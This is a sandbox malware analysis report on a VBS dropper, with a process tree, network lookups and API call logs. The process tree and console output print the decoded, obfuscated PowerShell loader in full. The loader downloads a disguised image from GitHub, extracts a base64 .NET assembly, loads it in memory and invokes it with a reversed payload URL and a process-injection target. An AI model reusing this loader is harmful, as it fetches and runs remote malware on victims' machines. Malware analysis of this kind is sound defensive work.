popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

eveningxlsxxxxMPDW-constraints.vbs

Generic Malware Antivirus
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 21, 2024, 2:27 p.m. Oct. 21, 2024, 2:53 p.m.
Size 192.1KB
Type Little-endian UTF-16 Unicode text, with CRLF line terminators
MD5 356aaed2b986621fc0e592625204ab4a
SHA256 92ef788e36b7c9ccbd9316c2f040056f77fb7f25c1a2909a3f89268b29d2a686
CRC32 AC9A0335
ssdeep 3072:J7paVYOKZsmnRZ0bx9SLK2F5gt5pCGw2LS7iu4h2QC49ALT2dSb:7aVzuRmOejrJ9AnCSb
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\eveningxlsxxxxMPDW-constraints.vbs

    840

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aU5WT0tlLUVYUHJlc3NpT04oICgnbFFraW1hZ2VVcmwgPSA5TGhodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgOUxoO2xRa3dlYkNsaWVudCA9IE5lJysndy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7bFEnKydraW1hZ2VCeXRlcyA9ICcrJ2xRa3dlYkNsaWVudC5Eb3dubG9hZERhdGEobFFraW1hZ2VVcmwpO2xRaycrJ2ltYWcnKydlVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGxRa2ltYWdlQnl0ZXMpO2xRa3N0YXJ0RmwnKydhZyA9IDlMaDw8QkFTRTY0X1NUQVJUPj45TGg7bFFrZW5kRmxhZyA9IDlMaDw8QkFTRTY0X0VORD4+OUxoO2xRa3N0YXJ0SScrJ25kZXggPSBsUWtpbWFnZVRleHQuSW5kZXhPZihsUWtzJysndGFydEZsYWcpO2xRa2VuZEluZGV4ID0gbFFraW1hZ2VUZXh0LkluZGV4T2YnKycobFFrZW5kRmxhZyk7bFFrc3RhcnRJbicrJ2RleCAtZ2UgMCAtYW4nKydkICcrJ2xRa2VuZEluZGV4IC1ndCBsUWtzdGFydEluZGV4O2xRa3N0YXJ0SW5kZXggKz0gbFFrc3RhcnRGbGFnLkxlbmd0aDtsUWtiYXMnKydlNjRMZW5ndGgnKycgPSBsUWtlbmRJJysnbmRleCAtIGxRa3N0YXJ0SW5kZXg7bFFrYmFzZTY0Q29tJysnbWFuZCA9IGxRa2ltYWdlVGV4dC5TdWJzdHJpbmcobFEnKydrc3RhcnRJbmRleCwgbFFrYicrJ2FzZTY0TGVuZ3RoJysnKTtsUWtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGxRJysna2Jhc2U2NENvbW1hbmQpO2xRa2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS4nKydSZWZsZWN0aW9uLkFzc2UnKydtYmx5XTo6TG9hZChsJysnUWtjb21tYW5kQnl0ZXMpO2xRa3ZhaU1ldGhvZCA9IFtkbmxpJysnYi5JTy5Ib21lXS5HZXRNZXRob2QoOUxoVkFJOUwnKydoKTtsUWt2YWlNZXRob2QuSW4nKyd2b2tlKGxRa251bGwsIEAoOUxodHh0LjQ0NDQ2ZXNhYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC4nKyduYW1lZWVsa2FyaW0vLzpwdHQnKydoOUxoLCAnKyc5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5JysnTGhBZGRJblByb2Nlc3MzMjlMaCwgOUwnKydoZGVzYXRpdmFkbzlMaCwgOUxoZGVzYXRpdmFkbzlMaCkpOycpLlJFUGxhQ2UoJ2xRaycsW1NUckluZ11bY0hBUl0zNikuUkVQbGFDZSgoW2NIQVJdNTcrW2NIQVJdNzYrW2NIQVJdMTA0KSxbU1RySW5nXVtjSEFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

      2072

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iNVOKe-EXPressiON( ('lQkimageUrl = 9Lhhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg 9Lh;lQkwebClient = Ne'+'w-Object System.Net.WebClient;lQ'+'kimageBytes = '+'lQkwebClient.DownloadData(lQkimageUrl);lQk'+'imag'+'eText = [System.'+'Text.Encoding]::UTF8.GetString(lQkimageBytes);lQkstartFl'+'ag = 9Lh<<BASE64_START>>9Lh;lQkendFlag = 9Lh<<BASE64_END>>9Lh;lQkstartI'+'ndex = lQkimageText.IndexOf(lQks'+'tartFlag);lQkendIndex = lQkimageText.IndexOf'+'(lQkendFlag);lQkstartIn'+'dex -ge 0 -an'+'d '+'lQkendIndex -gt lQkstartIndex;lQkstartIndex += lQkstartFlag.Length;lQkbas'+'e64Length'+' = lQkendI'+'ndex - lQkstartIndex;lQkbase64Com'+'mand = lQkimageText.Substring(lQ'+'kstartIndex, lQkb'+'ase64Length'+');lQkcommandBytes = [System.Convert]::FromBase64String(lQ'+'kbase64Command);lQkloadedAssembly = [System.'+'Reflection.Asse'+'mbly]::Load(l'+'QkcommandBytes);lQkvaiMethod = [dnli'+'b.IO.Home].GetMethod(9LhVAI9L'+'h);lQkvaiMethod.In'+'voke(lQknull, @(9Lhtxt.44446esabbbbbbewmadam/gro.sndkcud.'+'nameeelkarim//:ptt'+'h9Lh, '+'9Lhdesativado9Lh, 9Lhdesativado9Lh, 9Lhdesativado9Lh, 9'+'LhAddInProcess329Lh, 9L'+'hdesativado9Lh, 9Lhdesativado9Lh));').REPlaCe('lQk',[STrIng][cHAR]36).REPlaCe(([cHAR]57+[cHAR]76+[cHAR]104),[STrIng][cHAR]39) )"

        2200

Name Response Post-Analysis Lookup
raw.githubusercontent.com 185.199.111.133
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The remote name could n
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'raw.githubusercontent.com'"
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:192
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $i
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/gro.sndkcud.nameeelkarim
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: //:ptth', 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativa
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: do', 'desativado'));
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:255
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encodi
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: ng]::UTF8.GetString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $i
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/gro.sndkcud.nameeelkarim
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: //:ptth', 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativa
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: do', 'desativado'));
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: At line:1 char:361
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encodi
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: ng]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: BASE64_END>>';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $i
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/gro.sndkcud.nameeelkarim
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: //:ptth', 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativa
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c38a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c34e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c34e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c34e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c34e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c34e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c34e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c4168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c41e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3c68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c3c68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fb680
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fb7c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fb7c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fb7c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fafc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fafc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fafc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fafc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fafc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002fafc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 1638400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02720000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02870000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2072
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0245a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2072
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02452000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02871000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02872000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0245b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02840000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

